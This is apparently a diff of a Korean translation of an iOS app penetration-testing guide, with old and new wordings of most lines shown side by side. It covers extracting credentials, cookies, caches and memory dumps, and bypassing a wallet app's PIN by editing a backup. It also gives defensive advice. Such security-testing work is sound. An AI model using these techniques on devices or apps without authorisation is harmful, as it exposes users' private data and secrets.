- `NSUserDefaults`를 사용하여 저장된 모든 키/값 쌍은 이 파일에서 찾을 수 있습니다.
- **tmp/**
- 앱 실행 간에 유지될 필요가 없는 **임시 파일**을 작성하는 데 이 디렉토리를 사용합니다.
- 앱 실행 간에 지속될 필요가 없는 **임시 파일**을 작성하는 데 이 디렉토리를 사용합니다.
- 비영구적인 캐시 파일을 포함합니다.
- 사용자에게 **보이지 않습니다**.
- **사용자에게 보이지 않습니다**.
- 이 디렉토리의 콘텐츠는 백업되지 않습니다.
- OS는 앱이 실행되지 않고 저장 공간이 부족할 때 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다.
@ -279,7 +279,7 @@ Regular 420 None ... README.txt
```
### Binary Reversing
`<application-name>.app` 폴더 안에는 `<application-name>`이라는 이름의 바이너리 파일이 있습니다. 이것이 **실행될** 파일입니다. **`otool`** 도구를 사용하여 바이너리를 기본적으로 검사할 수 있습니다:
`<application-name>.app` 폴더 안에는 `<application-name>`이라는 이름의 바이너리 파일이 있습니다. 이 파일이 **실행**될 파일입니다. **`otool`** 도구를 사용하여 바이너리를 기본적으로 검사할 수 있습니다:
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@ -293,15 +293,15 @@ DVIA-v2:
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
```
**앱이 암호화되어 있는지 확인하세요**
**앱이 암호화되어 있는지 확인하기**
다음에 대한 출력이 있는지 확인하세요:
다음에 대한 출력이 있는지 확인하십시오:
```bash
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
```
**이진 파일 분해하기**
**이진 파일 분해**
텍스트 섹션 분해하기:
텍스트 섹션을 분해합니다:
```bash
otool -tV DVIA-v2
DVIA-v2:
@ -355,7 +355,7 @@ double _field1;
double _field2;
};
```
그러나 이진 파일을 분해하는 가장 좋은 옵션은 [**Hopper**](https://www.hopperapp.com/download.html?)와 [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/)입니다.
그러나 바이너리를 분해하는 가장 좋은 옵션은: [**Hopper**](https://www.hopperapp.com/download.html?)와 [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/)입니다.
## 데이터 저장
@ -366,18 +366,18 @@ ios-basics.md
{{#endref}}
> [!WARNING]
> 다음 정보 저장 장소는 **애플리케이션 설치 직후**, **애플리케이션의 모든 기능을 확인한 후** 및 **한 사용자에서 로그아웃한 후 다른 사용자로 로그인한 후** 확인해야 합니다.\
> 목표는 애플리케이션의 **보호되지 않은 민감한 정보**(비밀번호, 토큰), 현재 사용자 및 이전에 로그인한 사용자의 정보를 찾는 것입니다.
> 다음 정보 저장 위치는 **애플리케이션 설치 직후**, **애플리케이션의 모든 기능을 확인한 후**, 심지어 **한 사용자에서 로그아웃하고 다른 사용자로 로그인한 후**에 확인해야 합니다.\
> 목표는 애플리케이션의 **보호되지 않은 민감한 정보**(비밀번호, 토큰), 현재 사용자 및 이전에 로그인한 사용자에 대한 정보를 찾는 것입니다.
### Plist
**plist** 파일은 **키-값 쌍**을 포함하는 구조화된 XML 파일입니다. 이는 지속적인 데이터를 저장하는 방법으로, 때때로 **이 파일에서 민감한 정보를 찾을 수 있습니다**. 앱을 설치한 후 및 집중적으로 사용한 후에 이 파일을 확인하는 것이 좋습니다.
**plist** 파일은 **키-값 쌍**을 포함하는 구조화된 XML 파일입니다. 이는 지속적인 데이터를 저장하는 방법으로, 때때로 **이 파일에서 민감한 정보를 찾을 수 있습니다**. 앱을 설치한 후 및 집중적으로 사용한 후에 이러한 파일을 확인하는 것이 좋습니다.
plist 파일에 데이터를 지속적으로 저장하는 가장 일반적인 방법은 **NSUserDefaults**를 사용하는 것입니다. 이 plist 파일은 **`Library/Preferences/<appBundleID>.plist`**의 앱 샌드박스 내에 저장됩니다.
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 클래스는 기본 시스템과 상호작용하기 위한 프로그래밍 인터페이스를 제공합니다. 기본 시스템은 애플리케이션이 **사용자 기본 설정**에 따라 동작을 사용자화할 수 있도록 합니다. `NSUserDefaults`에 의해 저장된 데이터는 애플리케이션 번들에서 볼 수 있습니다. 이 클래스는 **plist** **파일**에 **데이터**를 저장하지만, 소량의 데이터와 함께 사용되도록 설계되었습니다.
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 클래스는 기본 시스템과 상호작용하기 위한 프로그래밍 인터페이스를 제공합니다. 기본 시스템은 애플리케이션이 **사용자 선호도**에 따라 동작을 사용자화할 수 있도록 합니다. `NSUserDefaults`에 의해 저장된 데이터는 애플리케이션 번들에서 볼 수 있습니다. 이 클래스는 **plist** **파일**에 **데이터**를 저장하지만, 소량의 데이터와 함께 사용하도록 설계되었습니다.
이 데이터는 신뢰할 수 있는 컴퓨터를 통해 직접 접근할 수 없지만, **백업**을 수행하여 접근할 수 있습니다.
이 데이터는 신뢰할 수 있는 컴퓨터를 통해 더 이상 직접 접근할 수 없지만, **백업**을 수행하여 접근할 수 있습니다.
**`NSUserDefaults`**를 사용하여 저장된 정보를 **덤프**하려면 objection의 `ios nsuserdefaults get`을 사용하세요.
@ -387,7 +387,7 @@ find ./ -name "*.plist"
```
파일을 **XML 또는 이진 (bplist)** 형식에서 XML로 변환하기 위해, 운영 체제에 따라 다양한 방법이 있습니다:
**macOS 사용자용:** `plutil` 명령을 사용하세요. 이는 이 목적을 위해 설계된 macOS (10.2+)의 내장 도구입니다:
**macOS 사용자용:** `plutil` 명령어를 사용하세요. 이는 이 목적을 위해 설계된 macOS (10.2+)의 내장 도구입니다:
```bash
$ plutil -convert xml1 Info.plist
```
@ -442,9 +442,9 @@ Yap 데이터베이스는 sqlite 데이터베이스이므로 이전 섹션에서
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase 실시간 데이터베이스
### Firebase Real-Time Databases
개발자는 Firebase 실시간 데이터베이스를 통해 **NoSQL 클라우드 호스팅 데이터베이스** 내에서 **데이터를 저장하고 동기화**할 수 있습니다. JSON 형식으로 저장된 데이터는 모든 연결된 클라이언트에 실시간으로 동기화됩니다.
개발자는 Firebase Real-Time Databases를 통해 **NoSQL 클라우드 호스팅 데이터베이스** 내에서 **데이터를 저장하고 동기화**할 수 있습니다. JSON 형식으로 저장된 데이터는 모든 연결된 클라이언트에 실시간으로 동기화됩니다.
잘못 구성된 Firebase 데이터베이스를 확인하는 방법은 여기에서 찾을 수 있습니다:
@ -452,9 +452,9 @@ find ./ -name "*.sqlite" -or -name "*.db"
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
{{#endref}}
### Realm 데이터베이스
### Realm databases
[Realm Objective-C](https://realm.io/docs/objc/latest/) 및 [Realm Swift](https://realm.io/docs/swift/latest/)는 Apple에서 제공하지 않는 데이터 저장을 위한 강력한 대안을 제공합니다. 기본적으로 **데이터를 암호화하지 않고 저장**하며, 특정 구성에 따라 암호화가 가능합니다.
[Realm Objective-C](https://realm.io/docs/objc/latest/) 및 [Realm Swift](https://realm.io/docs/swift/latest/)는 Apple에서 제공하지 않는 데이터 저장을 위한 강력한 대안을 제공합니다. 기본적으로 **암호화되지 않은 데이터**를 저장하며, 특정 구성으로 암호화를 사용할 수 있습니다.
데이터베이스는 다음 위치에 있습니다: `/private/var/mobile/Containers/Data/Application/{APPID}`. 이러한 파일을 탐색하려면 다음과 같은 명령을 사용할 수 있습니다:
```bash
@ -463,7 +463,7 @@ default.realm default.realm.lock default.realm.management/ default.realm.note
$ find ./ -name "*.realm*"
```
이 데이터베이스 파일을 보려면 [**Realm Studio**](https://github.com/realm/realm-studio) 도구를 추천합니다.
이 데이터베이스 파일을 보려면 [**Realm Studio**](https://github.com/realm/realm-studio) 도구를 사용하는 것이 좋습니다.
Realm 데이터베이스 내에서 암호화를 구현하려면 다음 코드 스니펫을 사용할 수 있습니다:
```swift
@ -477,17 +477,17 @@ let realm = try Realm(configuration: config)
fatalError("Error opening realm: \(error)")
}
```
### Couchbase Lite 데이터베이스
### Couchbase Lite Databases
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios)는 **경량** 및 **임베디드** 데이터베이스 엔진으로 **문서 지향** (NoSQL) 접근 방식을 따릅니다. **iOS** 및 **macOS**에 네이티브로 설계되어 데이터 동기화를 원활하게 수행할 수 있는 기능을 제공합니다.
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios)는 **경량** 및 **임베디드** 데이터베이스 엔진으로 설명되며, **문서 지향** (NoSQL) 접근 방식을 따릅니다. **iOS** 및 **macOS**에 네이티브로 설계되어 데이터 동기화를 원활하게 수행할 수 있는 기능을 제공합니다.
장치에서 잠재적인 Couchbase 데이터베이스를 식별하려면 다음 디렉토리를 검사해야 합니다:
```bash
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
```
### 쿠키
### Cookies
iOS는 각 앱 폴더의 **`Library/Cookies/cookies.binarycookies`**에 앱의 쿠키를 저장합니다. 그러나 개발자는 때때로 **키체인**에 저장하기로 결정하는데, 이는 언급된 **쿠키 파일이 백업에서 접근 가능하기 때문입니다**.
iOS는 각 앱 폴더 내의 **`Library/Cookies/cookies.binarycookies`**에 앱의 쿠키를 저장합니다. 그러나 개발자들은 때때로 **백업에서 접근할 수 있는 쿠키 파일** 대신 **keychain**에 저장하기로 결정합니다.
쿠키 파일을 검사하려면 [**이 파이썬 스크립트**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)를 사용하거나 objection의 **`ios cookies get`**을 사용할 수 있습니다.\
**또한 objection을 사용하여** 이러한 파일을 JSON 형식으로 변환하고 데이터를 검사할 수 있습니다.
@ -508,9 +508,9 @@ iOS는 각 앱 폴더의 **`Library/Cookies/cookies.binarycookies`**에 앱의
```
### Cache
기본적으로 NSURLSession은 **Cache.db** 데이터베이스에 **HTTP 요청 및 응답**과 같은 데이터를 저장합니다. 이 데이터베이스는 토큰, 사용자 이름 또는 기타 민감한 정보가 캐시된 경우 **민감한 데이터**를 포함할 수 있습니다. 캐시된 정보를 찾으려면 앱의 데이터 디렉토리(`/var/mobile/Containers/Data/Application/<UUID>`)를 열고 `/Library/Caches/<Bundle Identifier>`로 이동합니다. **WebKit 캐시도 Cache.db** 파일에 저장됩니다. **Objection**은 `sqlite connect Cache.db` 명령어로 데이터베이스를 열고 상호작용할 수 있습니다. 이는 n**ormal SQLite 데이터베이스**입니다.
기본적으로 NSURLSession은 **Cache.db** 데이터베이스에 **HTTP 요청 및 응답**과 같은 데이터를 저장합니다. 이 데이터베이스는 토큰, 사용자 이름 또는 기타 민감한 정보가 캐시된 경우 **민감한 데이터**를 포함할 수 있습니다. 캐시된 정보를 찾으려면 앱의 데이터 디렉토리(`/var/mobile/Containers/Data/Application/<UUID>`)를 열고 `/Library/Caches/<Bundle Identifier>`로 이동합니다. **WebKit 캐시도 Cache.db** 파일에 저장됩니다. **Objection**은 `sqlite connect Cache.db` 명령어로 데이터베이스를 열고 상호작용할 수 있습니다. 이는 **정상 SQLite 데이터베이스**입니다.
이 데이터를 캐싱하지 않는 것이 **권장됩니다**, 요청 또는 응답에 민감한 정보가 포함될 수 있기 때문입니다. 아래의 목록은 이를 달성하는 다양한 방법을 보여줍니다:
이 데이터를 캐싱하는 것을 **비활성화하는 것이 권장됩니다**, 요청 또는 응답에 민감한 정보가 포함될 수 있기 때문입니다. 아래의 목록은 이를 달성하는 다양한 방법을 보여줍니다:
1. 로그아웃 후 캐시된 응답을 제거하는 것이 권장됩니다. 이는 Apple에서 제공하는 [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) 메서드를 사용하여 수행할 수 있습니다. 이 메서드는 다음과 같이 호출할 수 있습니다:
@ -518,7 +518,7 @@ iOS는 각 앱 폴더의 **`Library/Cookies/cookies.binarycookies`**에 앱의
이 메서드는 Cache.db 파일에서 모든 캐시된 요청 및 응답을 제거합니다.
2. 쿠키의 이점을 사용할 필요가 없다면, URLSession의 [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) 구성 속성을 사용하는 것이 좋습니다. 이는 쿠키와 캐시 저장을 비활성화합니다.
2. 쿠키의 이점을 사용할 필요가 없다면 URLSession의 [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) 구성 속성을 사용하는 것이 좋습니다. 이는 쿠키와 캐시 저장을 비활성화합니다.
[Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
@ -528,9 +528,9 @@ iOS는 각 앱 폴더의 **`Library/Cookies/cookies.binarycookies`**에 앱의
### Snapshots
홈 버튼을 누를 때마다 iOS는 **현재 화면의 스냅샷**을 찍어 애플리케이션으로의 전환을 훨씬 부드럽게 할 수 있습니다. 그러나 **민감한** **데이터**가 현재 화면에 존재하는 경우, 이는 **이미지**에 **저장**됩니다(이는 **재부팅** 후에도 **유지**됩니다). 이러한 스냅샷은 홈 화면을 두 번 탭하여 앱 간 전환할 때도 접근할 수 있습니다.
홈 버튼을 누를 때마다 iOS는 **현재 화면의 스냅샷을 찍습니다**. 이는 애플리케이션으로의 전환을 훨씬 부드럽게 할 수 있게 해줍니다. 그러나 **민감한** **데이터**가 현재 화면에 존재하는 경우, 이는 **이미지**에 **저장됩니다** (이는 **재부팅** 후에도 **유지됩니다**). 이러한 스냅샷은 홈 화면을 두 번 탭하여 앱 간 전환 시에도 접근할 수 있습니다.
iPhone이 탈옥되지 않는 한, **공격자**는 이러한 스크린샷을 보기 위해 **장치**에 **차단되지 않은** **접근**이 필요합니다. 기본적으로 마지막 스냅샷은 애플리케이션의 샌드박스에 `Library/Caches/Snapshots/` 또는 `Library/SplashBoard/Snapshots` 폴더에 저장됩니다(신뢰할 수 있는 컴퓨터는 iOX 7.0부터 파일 시스템에 접근할 수 없습니다).
아이폰이 탈옥되지 않는 한, **공격자**는 이러한 스크린샷을 보기 위해 **차단되지 않은** **장치**에 **접근**해야 합니다. 기본적으로 마지막 스냅샷은 애플리케이션의 샌드박스에 `Library/Caches/Snapshots/` 또는 `Library/SplashBoard/Snapshots` 폴더에 저장됩니다 (신뢰할 수 있는 컴퓨터는 iOX 7.0부터 파일 시스템에 접근할 수 없습니다).
이러한 나쁜 행동을 방지하는 한 가지 방법은 `ApplicationDidEnterBackground()` 함수를 사용하여 스냅샷을 찍기 전에 빈 화면을 표시하거나 민감한 데이터를 제거하는 것입니다.
@ -566,7 +566,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.backgroundImage removeFromSuperview];
}
```
이것은 애플리케이션이 백그라운드로 전환될 때마다 배경 이미지를 `overlayImage.png`로 설정합니다. 이는 `overlayImage.png`가 항상 현재 뷰를 덮어쓰므로 민감한 데이터 유출을 방지합니다.
이것은 애플리케이션이 백그라운드로 전환될 때마다 배경 이미지를 `overlayImage.png`로 설정합니다. 이는 `overlayImage.png`가 현재 뷰를 항상 덮어쓰므로 민감한 데이터 유출을 방지합니다.
### Keychain
@ -582,15 +582,15 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
```
이 저장된 자격 증명을 추출하기 위해 Objection의 명령 `ios nsurlcredentialstorage dump`가 사용됩니다.
## **사용자 정의 키보드 및 키보드 캐시**
## **커스텀 키보드 및 키보드 캐시**
iOS 8.0 이상에서는 사용자가 사용자 정의 키보드 확장을 설치할 수 있으며, 이는 **설정 > 일반 > 키보드 > 키보드**에서 관리할 수 있습니다. 이러한 키보드는 확장된 기능을 제공하지만, 키스트로크 로깅 및 외부 서버로 데이터 전송의 위험이 있습니다. 사용자는 네트워크 접근이 필요한 키보드에 대해 알림을 받습니다. 앱은 민감한 정보 입력을 위해 사용자 정의 키보드 사용을 제한해야 합니다.
iOS 8.0 이상에서는 사용자가 커스텀 키보드 확장을 설치할 수 있으며, 이는 **설정 > 일반 > 키보드 > 키보드**에서 관리할 수 있습니다. 이러한 키보드는 확장된 기능을 제공하지만, 키스트로크 로깅 및 외부 서버로 데이터 전송의 위험이 있습니다. 사용자는 네트워크 접근이 필요한 키보드에 대해 알림을 받습니다. 앱은 민감한 정보 입력을 위해 커스텀 키보드 사용을 제한할 수 있으며, 제한해야 합니다.
**보안 권장 사항:**
- 보안을 강화하기 위해 서드파티 키보드를 비활성화하는 것이 좋습니다.
- 기본 iOS 키보드의 자동 수정 및 자동 제안 기능이 민감한 정보를 `Library/Keyboard/{locale}-dynamic-text.dat` 또는 `/private/var/mobile/Library/Keyboard/dynamic-text.dat`에 캐시 파일로 저장할 수 있으므로 주의해야 합니다. 이러한 캐시 파일은 민감한 데이터를 위해 정기적으로 확인해야 합니다. 캐시된 데이터를 지우기 위해 **설정 > 일반 > 초기화 > 키보드 사전 초기화**를 통해 키보드 사전을 재설정하는 것이 권장됩니다.
- 네트워크 트래픽을 가로채면 사용자 정의 키보드가 원격으로 키스트로크를 전송하는지 여부를 확인할 수 있습니다.
- 네트워크 트래픽을 가로채면 커스텀 키보드가 원격으로 키스트로크를 전송하는지 여부를 확인할 수 있습니다.
### **텍스트 필드 캐싱 방지**
@ -606,17 +606,17 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **로그**
코드 디버깅은 종종 **로깅**을 포함합니다. **로그에 민감한 정보가 포함될 수 있는 위험**이 있습니다. 이전에는 iOS 6 및 이전 버전에서 로그가 모든 앱에 접근 가능하여 민감한 데이터 유출의 위험이 있었습니다. **현재는 애플리케이션이 자신의 로그만 접근할 수 있도록 제한됩니다**.
코드 디버깅은 종종 **로깅**을 포함합니다. **로그에 민감한 정보가 포함될 수 있는 위험**이 있습니다. 이전에는 iOS 6 및 이전 버전에서 로그가 모든 앱에 접근 가능하여 민감한 데이터 유출의 위험이 있었습니다. **현재는 애플리케이션이 자신의 로그에만 접근할 수 있도록 제한됩니다**.
이러한 제한에도 불구하고 **잠금 해제된 장치에 물리적으로 접근할 수 있는 공격자**는 여전히 장치를 컴퓨터에 연결하고 **로그를 읽음으로써 이를 악용할 수 있습니다**. 로그는 앱이 제거된 후에도 디스크에 남아 있다는 점에 유의해야 합니다.
위험을 완화하기 위해 **앱과 철저히 상호작용**하고 모든 기능과 입력을 탐색하여 민감한 정보가 우연히 로깅되지 않도록 하는 것이 좋습니다.
앱의 소스 코드를 검토할 때 잠재적인 유출을 위해 `NSLog`, `NSAssert`, `NSCAssert`, `fprintf`와 같은 키워드를 사용하여 **미리 정의된** 및 **사용자 정의 로깅 문**을 찾아보세요. 또한 사용자 정의 구현을 위한 `Logging` 또는 `Logfile`에 대한 언급도 확인하세요.
앱의 소스 코드를 검토할 때 잠재적인 유출을 위해 `NSLog`, `NSAssert`, `NSCAssert`, `fprintf`와 같은 내장 함수에 대한 키워드와 `Logging` 또는 `Logfile`과 같은 사용자 정의 구현에 대한 언급을 찾아 **미리 정의된** 및 **사용자 정의 로깅 문**을 모두 확인하십시오.
### **시스템 로그 모니터링**
앱은 민감할 수 있는 다양한 정보를 로그합니다. 이러한 로그를 모니터링하기 위해 도구 및 명령어를 사용합니다:
앱은 민감할 수 있는 다양한 정보를 로깅합니다. 이러한 로그를 모니터링하기 위해 다음과 같은 도구와 명령을 사용합니다:
```bash
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
@ -627,7 +627,7 @@ idevicesyslog -u <id> (| grep <app>) # To capture the device logs
2. iOS 장치를 연결합니다.
3. **Window** -> **Devices and Simulators**로 이동합니다.
4. 장치를 선택합니다.
5. 조사 중인 문제를 트리거합니다.
5. 조사 중인 문제를 발생시킵니다.
6. **Open Console** 버튼을 사용하여 새 창에서 로그를 봅니다.
더 고급 로그를 위해, 장치 셸에 연결하고 **socat**을 사용하면 실시간 로그 모니터링이 가능합니다:
@ -642,7 +642,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
### 보안 위험
**설치된 앱 및 해당 데이터**가 백업에 포함되는 것은 잠재적인 **데이터 유출** 문제와 **백업 수정이 앱 기능을 변경할 수 있는 위험**을 제기합니다. 이러한 위험을 완화하기 위해 **어떤 앱의 디렉토리나 하위 디렉토리 내에 민감한 정보를 평문으로 저장하지 않는 것이 좋습니다.**
**설치된 앱 및 해당 데이터**가 백업에 포함되는 것은 잠재적인 **데이터 유출** 문제와 **백업 수정이 앱 기능을 변경할 위험**을 제기합니다. 이러한 위험을 완화하기 위해 **어떤 앱의 디렉토리나 하위 디렉토리 내에 민감한 정보를 평문으로 저장하지 않는 것이 좋습니다.**
### 백업에서 파일 제외하기
@ -650,9 +650,9 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
### 취약점 테스트
앱의 백업 보안을 평가하려면, 먼저 Finder를 사용하여 **백업을 생성**한 다음, [Apple의 공식 문서](https://support.apple.com/en-us/HT204215)의 안내에 따라 이를 찾습니다. 백업에서 민감한 데이터나 앱 동작에 영향을 줄 수 있는 구성이 변경될 수 있는지 분석합니다.
앱의 백업 보안을 평가하기 위해, 먼저 Finder를 사용하여 **백업을 생성**한 다음, [Apple의 공식 문서](https://support.apple.com/en-us/HT204215)의 안내에 따라 이를 찾습니다. 백업에서 민감한 데이터나 앱 동작에 영향을 줄 수 있는 구성이 변경될 수 있는지 분석합니다.
민감한 정보는 명령줄 도구나 [iMazing](https://imazing.com)과 같은 애플리케이션을 사용하여 찾을 수 있습니다. 암호화된 백업의 경우, 백업의 루트에 있는 "Manifest.plist" 파일에서 "IsEncrypted" 키를 확인하여 암호화가 존재하는지 확인할 수 있습니다.
민감한 정보는 명령줄 도구나 [iMazing](https://imazing.com)과 같은 애플리케이션을 사용하여 찾을 수 있습니다. 암호화된 백업의 경우, 백업의 루트에 있는 "Manifest.plist" 파일에서 "IsEncrypted" 키를 확인하여 암호화의 존재를 확인할 수 있습니다.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -665,11 +665,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
...
</plist>
```
암호화된 백업을 처리하기 위해 [DinoSec의 GitHub 저장소](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts)에서 제공하는 Python 스크립트, 예를 들어 **backup_tool.py**와 **backup_passwd.py**가 유용할 수 있으며, 최신 iTunes/Finder 버전과의 호환성을 위해 조정이 필요할 수 있습니다. [**iOSbackup** 도구](https://pypi.org/project/iOSbackup/)는 비밀번호로 보호된 백업 내의 파일에 접근하는 또 다른 옵션입니다.
암호화된 백업을 처리하기 위해, [DinoSec의 GitHub 저장소](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts)에서 제공하는 Python 스크립트, 예를 들어 **backup_tool.py**와 **backup_passwd.py**가 유용할 수 있으며, 최신 iTunes/Finder 버전과의 호환성을 위해 조정이 필요할 수 있습니다. [**iOSbackup** 도구](https://pypi.org/project/iOSbackup/)는 비밀번호로 보호된 백업 내 파일에 접근하는 또 다른 옵션입니다.
### 앱 동작 수정
백업 수정을 통해 앱 동작을 변경하는 예는 [Bither 비트코인 지갑 앱](https://github.com/bither/bither-ios)에서 볼 수 있으며, 여기서 UI 잠금 PIN은 **pin_code** 키 아래 `net.bither.plist`에 저장됩니다. 이 키를 plist에서 제거하고 백업을 복원하면 PIN 요구 사항이 제거되어 무제한 접근이 가능합니다.
백업 수정을 통해 앱 동작을 변경하는 예는 [Bither 비트코인 지갑 앱](https://github.com/bither/bither-ios)에서 보여지며, 여기서 UI 잠금 PIN은 **pin_code** 키 아래 `net.bither.plist`에 저장됩니다. 이 키를 plist에서 제거하고 백업을 복원하면 PIN 요구 사항이 제거되어 무제한 접근이 가능합니다.
## 민감한 데이터에 대한 메모리 테스트 요약
@ -677,7 +677,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
## **메모리 덤프 검색 및 분석**
탈옥된 장치와 비탈옥 장치 모두에서 [objection](https://github.com/sensepost/objection) 및 [Fridump](https://github.com/Nightbringer21/fridump)와 같은 도구를 사용하여 앱의 프로세스 메모리를 덤프할 수 있습니다. 덤프된 데이터를 분석하려면 검색하려는 정보의 성격에 따라 다양한 도구가 필요합니다.
탈옥된 장치와 비탈옥 장치 모두에서, [objection](https://github.com/sensepost/objection) 및 [Fridump](https://github.com/Nightbringer21/fridump)와 같은 도구를 사용하여 앱의 프로세스 메모리를 덤프할 수 있습니다. 덤프된 데이터를 분석하려면, 찾고자 하는 정보의 성격에 따라 다양한 도구가 필요합니다.
메모리 덤프에서 문자열을 추출하기 위해 `strings` 또는 `rabin2 -zz`와 같은 명령을 사용할 수 있습니다:
```bash
@ -687,7 +687,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
보다 자세한 분석을 위해, 특정 데이터 유형이나 패턴 검색을 포함하여, **radare2**는 광범위한 검색 기능을 제공합니다:
보다 자세한 분석을 위해 특정 데이터 유형이나 패턴을 검색하는 경우, **radare2**는 광범위한 검색 기능을 제공합니다:
```bash
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
@ -700,21 +700,21 @@ $ r2 <name_of_your_dump_file>
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
```
## 깨진 암호화
## Broken Cryptography
### 열쇠 관리 프로세스 부족
### Poor Key Management Processes
일부 개발자는 민감한 데이터를 로컬 스토리지에 저장하고 코드에 하드코딩되거나 예측 가능한 키로 암호화합니다. 이는 역공학을 통해 공격자가 기밀 정보를 추출할 수 있으므로 해서는 안 됩니다.
일부 개발자는 민감한 데이터를 로컬 스토리지에 저장하고 코드에 하드코딩되거나 예측 가능한 키로 암호화합니다. 이는 역공학을 통해 공격자가 기밀 정보를 추출할 수 있으므로 피해야 합니다.
### 안전하지 않거나 사용 중지된 알고리즘 사용
### Use of Insecure and/or Deprecated Algorithms
개발자는 **사용 중지된 알고리즘**을 사용하여 **검사**를 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 있는 해시를 사용해야 합니다.
개발자는 **deprecated algorithms**를 사용하여 **checks**를 수행하거나 **store** 또는 **send** 데이터를 전송해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **hashes**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용한 해시 브루트 포스 **resistant** 해시를 사용해야 합니다.
### 확인
### Check
주요 확인 사항은 코드에서 **하드코딩된** 비밀번호/비밀을 찾을 수 있는지, 또는 그것들이 **예측 가능**한지, 그리고 코드가 어떤 종류의 **약한** **암호화** 알고리즘을 사용하고 있는지 확인하는 것입니다.
주요 점검 사항은 코드에서 **hardcoded** 비밀번호/비밀을 찾을 수 있는지, 또는 그것들이 **predictable**한지, 그리고 코드가 어떤 종류의 **weak** **cryptography** 알고리즘을 사용하고 있는지 확인하는 것입니다.
일부 **암호** **라이브러리**를 자동으로 **모니터링**할 수 있다는 점은 흥미롭습니다. **objection**을 사용하여:
흥미로운 점은 **objection**을 사용하여 일부 **crypto** **libraries**를 자동으로 **monitor**할 수 있다는 것입니다:
```swift
ios monitor crypt
```
@ -722,17 +722,17 @@ ios monitor crypt
## 로컬 인증
**로컬 인증**은 특히 원격 엔드포인트에 대한 접근을 암호화 방법으로 보호하는 데 중요한 역할을 합니다. 여기서 핵심은 적절한 구현이 없으면 로컬 인증 메커니즘이 우회될 수 있다는 것입니다.
**로컬 인증**은 원격 엔드포인트에서 암호화 방법을 통해 접근을 보호하는 데 중요한 역할을 합니다. 여기서 핵심은 적절한 구현이 없으면 로컬 인증 메커니즘이 우회될 수 있다는 것입니다.
Apple의 [**로컬 인증 프레임워크**](https://developer.apple.com/documentation/localauthentication)와 [**키체인**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)은 사용자 인증 대화 상자를 용이하게 하고 비밀 데이터를 안전하게 처리하기 위한 강력한 API를 제공합니다. Secure Enclave는 Touch ID에 대한 지문 ID를 보호하며, Face ID는 생체 데이터를 손상시키지 않고 얼굴 인식에 의존합니다.
Apple의 [**로컬 인증 프레임워크**](https://developer.apple.com/documentation/localauthentication)와 [**키체인**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)은 각각 사용자 인증 대화 상자를 용이하게 하고 비밀 데이터를 안전하게 처리하기 위한 강력한 API를 제공합니다. Secure Enclave는 Touch ID에 대한 지문 ID를 보호하며, Face ID는 생체 데이터를 손상시키지 않고 얼굴 인식에 의존합니다.
Touch ID/Face ID를 통합하기 위해 개발자는 두 가지 API 선택권이 있습니다:
- **`LocalAuthentication.framework`**: 생체 데이터에 접근하지 않고 고수준 사용자 인증을 위한 것입니다.
- **`Security.framework`**: 생체 인증으로 비밀 데이터를 보호하는 저수준 키체인 서비스 접근을 위한 것입니다. 다양한 [오픈 소스 래퍼](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)가 키체인 접근을 간소화합니다.
- **`Security.framework`**: 생체 인증으로 비밀 데이터를 보호하는 저수준 키체인 서비스 접근을 위한 것입니다. 다양한 [오픈 소스 래퍼](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)가 키체인 접근을 더 간단하게 만듭니다.
> [!CAUTION]
